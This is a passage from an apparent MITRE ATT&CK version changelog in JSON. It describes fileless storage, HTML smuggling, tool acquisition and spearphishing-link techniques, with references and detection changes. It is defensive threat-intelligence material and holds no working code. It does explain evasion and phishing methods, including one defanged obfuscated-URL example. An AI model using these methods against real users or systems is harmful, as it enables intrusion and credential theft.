>Linux systems, shared memory directories such as `/dev/shm`,>red memory directories on Linux systems (`/dev/shm`, `/run/s
> `/run/shm`, `/var/run`, and `/var/lock` may also be conside>hm`, `/var/run`, and `/var/lock`) and volatile directories o
>red fileless storage, as files written to these directories >n Network Devices (`/tmp` and `/volatile`) may also be consi
>are mapped directly to RAM and not stored on the disk.(Citat>dered fileless storage, as files written to these directorie
>ion: Elastic Binary Executed from Shared Memory Directory)(C>s are mapped directly to RAM and not stored on the disk.(Cit
>itation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Ma>ation: Elastic Binary Executed from Shared Memory Directory)
>lware 2024)  Similar to fileless in-memory behaviors such as>(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik 
> [Reflective Code Loading](https://attack.mitre.org/techniqu>Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISC
>es/T1620) and [Process Injection](https://attack.mitre.org/t>O Nexus 900 Config).  Similar to fileless in-memory behavior
>echniques/T1055), fileless data storage may remain undetecte>s such as [Reflective Code Loading](https://attack.mitre.org
>d by anti-virus and other endpoint security tools that can o>/techniques/T1620) and [Process Injection](https://attack.mi
>nly access specific file formats from disk storage. Leveragi>tre.org/techniques/T1055), fileless data storage may remain 
>ng fileless storage may also allow adversaries to bypass the>undetected by anti-virus and other endpoint security tools t
> protections offered by read-only file systems in Linux.(Cit>hat can only access specific file formats from disk storage.
>ation: Sysdig Fileless Malware 23022)  Adversaries may use f> Leveraging fileless storage may also allow adversaries to b
>ileless storage to conceal various types of stored data, inc>ypass the protections offered by read-only file systems in L
>luding payloads/shellcode (potentially being used as part of>inux.(Citation: Sysdig Fileless Malware 23022)  Adversaries 
> [Persistence](https://attack.mitre.org/tactics/TA0003)) and>may use fileless storage to conceal various types of stored 
> collected data not yet exfiltrated from the victim (e.g., [>data, including payloads/shellcode (potentially being used a
>Local Data Staging](https://attack.mitre.org/techniques/T107>s part of [Persistence](https://attack.mitre.org/tactics/TA0
>4/001)). Adversaries also often encrypt, encode, splice, or >003)) and collected data not yet exfiltrated from the victim
>otherwise obfuscate this fileless data when stored.  Some fo> (e.g., [Local Data Staging](https://attack.mitre.org/techni
>rms of fileless storage activity may indirectly create artif>ques/T1074/001)). Adversaries also often encrypt, encode, sp
>acts in the file system, but in central and otherwise diffic>lice, or otherwise obfuscate this fileless data when stored.
>ult to inspect formats such as the WMI (e.g., `%SystemRoot%\\>   Some forms of fileless storage activity may indirectly cr
>System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\>eate artifacts in the file system, but in central and otherw
>System32\\Config`) physical files.(Citation: Microsoft Filele>ise difficult to inspect formats such as the WMI (e.g., `%Sy
>ss) >stemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%Sy
 >stemRoot%\\System32\\Config`) physical files.(Citation: Micros
 >oft Fileless) 
", + "changelog_mitigations": { + "shared": [ + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0005: WMI (WMI Creation)", + "DS0009: Process (Process Creation)", + "DS0024: Windows Registry (Windows Registry Key Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0344: Detection Strategy for Fileless Storage via Registry, WMI, and Shared Memory" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-05-20 12:20:42.219000+00:00", + "modified": "2025-10-24 17:49:27.501000+00:00", + "name": "HTML Smuggling", + "description": "Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)\n\nAdversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1027/006", + "external_id": "T1027.006" + }, + { + "source_name": "Outlflank HTML Smuggling 2018", + "description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.", + "url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/" + }, + { + "source_name": "MSTIC NOBELIUM May 2021", + "description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/" + }, + { + "source_name": "HTML Smuggling Menlo Security 2020", + "description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.", + "url": "https://www.menlosecurity.com/blog/new-attack-alert-duri" + }, + { + "source_name": "nccgroup Smuggling HTA 2017", + "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.", + "url": "https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Stan Hegt, Outflank", + "Jonathan Boucher, @crash_wave, Bank of Canada", + "Krishnan Subramanian, @krish203", + "Vinay Pidathala" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.501000+00:00\", \"old_value\": \"2025-04-15 19:59:12.085000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\\n\\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\\n-\\n-Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "changelog_mitigations": { + "shared": [ + "M1048: Application Isolation and Sandboxing" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0313: Detection Strategy for HTML Smuggling via JavaScript Blob + Dynamic File Drop" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 02:08:33.977000+00:00", + "modified": "2025-10-24 17:49:10.900000+00:00", + "name": "Tool", + "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\n\nTool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/002", + "external_id": "T1588.002" + }, + { + "source_name": "Sentinel Labs Top Tier Target 2025", + "description": " Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target | What It Takes to Defend a Cybersecurity Company from Today\u2019s Adversaries. Retrieved May 22, 2025.", + "url": "https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/" + }, + { + "source_name": "Analyzing CS Dec 2020", + "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", + "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/" + }, + { + "source_name": "Recorded Future Beacon 2019", + "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers" + }, + { + "source_name": "Forescout Conti Leaks 2022", + "description": "Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.", + "url": "https://www.forescout.com/resources/analysis-of-conti-leaks/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "SOCCRATES", + "Mnemonic AS", + "Menachem Goldstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.900000+00:00\", \"old_value\": \"2025-04-15 23:16:21.007000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \\n\\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \\u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\\n\\nTool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)\", \"old_value\": \"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\\n\\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\\n+Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \\n \\n-Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).\\n+Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \\u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\\n+\\n+Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Sentinel Labs Top Tier Target 2025\", \"description\": \" Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target | What It Takes to Defend a Cybersecurity Company from Today\\u2019s Adversaries. Retrieved May 22, 2025.\", \"url\": \"https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/\"}, \"root['external_references'][4]\": {\"source_name\": \"Forescout Conti Leaks 2022\", \"description\": \"Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.\", \"url\": \"https://www.forescout.com/resources/analysis-of-conti-leaks/\"}, \"root['x_mitre_contributors'][2]\": \"Menachem Goldstein\"}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may buy, steal, or download software tools that t1Adversaries may buy, steal, or download software tools that 
>can be used during targeting. Tools can be open or closed so>can be used during targeting. Tools can be open or closed so
>urce, free or commercial. A tool can be used for malicious p>urce, free or commercial. A tool can be used for malicious p
>urposes by an adversary, but (unlike malware) were not inten>urposes by an adversary, but (unlike malware) were not inten
>ded to be used for those purposes (ex: [PsExec](https://atta>ded to be used for those purposes (ex: [PsExec](https://atta
>ck.mitre.org/software/S0029)). Tool acquisition can involve >ck.mitre.org/software/S0029)).   Adversaries may obtain tool
>the procurement of commercial software licenses, including f>s to support their operations, including to support executio
>or red teaming tools such as [Cobalt Strike](https://attack.>n of post-compromise behaviors. Tools may also be leveraged 
>mitre.org/software/S0154). Commercial software may be obtain>for testing \u2013 for example, evaluating malware against commer
>ed through purchase, stealing licenses (or licensed copies o>cial antivirus or endpoint detection and response (EDR) appl
>f the software), or cracking trial versions.(Citation: Recor>ications.(Citation: Forescout Conti Leaks 2022)(Citation: Se
>ded Future Beacon 2019)  Adversaries may obtain tools to sup>ntinel Labs Top Tier Target 2025)  Tool acquisition may invo
>port their operations, including to support execution of pos>lve the procurement of commercial software licenses, includi
>t-compromise behaviors. In addition to freely downloading or>ng for red teaming tools such as Cobalt Strike. In addition 
> purchasing software, adversaries may steal software and/or >to freely downloading or purchasing software, adversaries ma
>software licenses from third-party entities (including other>y steal software and/or software licenses from third-party e
> adversaries).>ntities (including other adversaries). Threat actors may als
 >o crack trial versions of software.(Citation: Recorded Futur
 >e Beacon 2019)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0004: Malware Repository (Malware Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0852: Detection of Tool" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 19:15:44.182000+00:00", + "modified": "2025-10-24 17:48:34.123000+00:00", + "name": "Spearphishing Link", + "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \u201cdevice code phishing,\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566/002", + "external_id": "T1566.002" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "CISA IDN ST05-016", + "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.", + "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016" + }, + { + "source_name": "Trend Micro Pawn Storm OAuth 2017", + "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks" + }, + { + "source_name": "Netskope Device Code Phishing 2021", + "description": "Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.", + "url": "https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1" + }, + { + "source_name": "Microsoft OAuth 2.0 Consent Phishing 2021", + "description": "Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.", + "url": "https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Mandiant URL Obfuscation 2023", + "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.", + "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse" + }, + { + "source_name": "Optiv Device Code Phishing 2021", + "description": "Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024.", + "url": "https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing" + }, + { + "source_name": "SecureWorks Device Code Phishing 2021", + "description": "SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth\u2019S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024.", + "url": "https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Shailesh Tiwary (Indian Army)", + "Mark Wee", + "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)", + "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)", + "Kobi Haimovich, CardinalOps", + "Menachem Goldstein" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Identity Provider", + "Linux", + "macOS", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "2.8", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Application Log: Application Log Content\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.123000+00:00\", \"old_value\": \"2025-04-15 23:10:41.326000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\\n\\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\\n\\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \\\"IDN homograph attack\\\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \\u201c@\\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\\n\\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n\\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \\u201cdevice code phishing,\\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)\", \"old_value\": \"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\\n\\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\\n\\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \\\"IDN homograph attack\\\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \\u201c@\\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\\n\\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n\\nAdversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through \\u201cconsent phishing\\u201d into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\\n\\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \\u201cdevice code phishing,\\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)\", \"diff\": \"--- \\n+++ \\n@@ -4,8 +4,6 @@\\n \\n Adversaries may also 